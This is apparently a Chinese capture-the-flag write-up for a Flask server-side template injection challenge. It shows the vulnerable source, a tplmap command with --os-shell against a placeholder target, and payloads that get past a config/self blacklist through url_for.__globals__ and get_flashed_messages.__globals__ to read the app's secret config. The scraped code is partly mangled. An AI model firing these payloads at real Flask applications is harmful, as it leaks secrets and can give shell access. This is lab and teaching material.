题目
过程
1.使用tplmap,发现有ssti注入
./tplmap.py --os-shell -u 'http://www.target.com/page?name=John'
2.题目源码:
import flask
import os
app = flask.Flask(name)
app.config[‘FLAG’] = os.environ.pop(‘FLAG’)
@app.route(’/’)
def index():
return open(file).read()
@app.route(’/shrine/<path:shrine>’)
def shrine(shrine):
def safe_jinja(s):
s = s.replace('(', '').replace(')', '')
blacklist = ['config', 'self']
return ''.join(['{<!-- -->{% set {}=None%}}'.format(c) for c in blacklist])
+ s
return flask.render_template_string(safe_jinja(shrine))
if name == ‘main’:
app.run(debug=True)
- 1
- 2
- 3
- 4
- 5
- 6
- 7
- 8
- 9
- 10
- 11
- 12
- 13
- 14
- 15
- 16
- 17
- 18
- 19
- 20
- 21
- 22
- 23
- 24
首先在shrine路径下测试ssti能正常执行
/shrine/{
{ 2+2 }}
3.接着分析源码
app.config['FLAG'] = os.environ.pop('FLAG')
注册了一个名为FLAG的config,猜测这就是flag,如果没有过滤可以直接{ {config}}即可查看所有app.config内容,但是这题设了黑名单[‘config’,‘self’]并且过滤了括号
return ''.join(['{
{% set {}=None%}}'.format(c) for c in blacklist]) + s
上面这行代码把黑名单的东西遍历并设为空,例如:
/shrine/{
{config}}
不过python还有一些内置函数,比如url_for和get_flashed_messages
/shrine/{
{url_for.__globals__}}
4.看到current_app意思应该是当前app,那我们就当前app下的config:
/shrine/{
{url_for.__globals__['current_app'].config}}
get_flashed_messages
返回之前在Flask中通过 flash() 传入的闪现信息列表。把字符串对象表示的消息加入到一个消息队列中,然后通过调用 get_flashed_messages() 方法取出(闪现信息只能取出一次,取出后闪现信息会被清空)。
同理
/shrine/{
{get_flashed_messages.__globals__['current_app'].config}}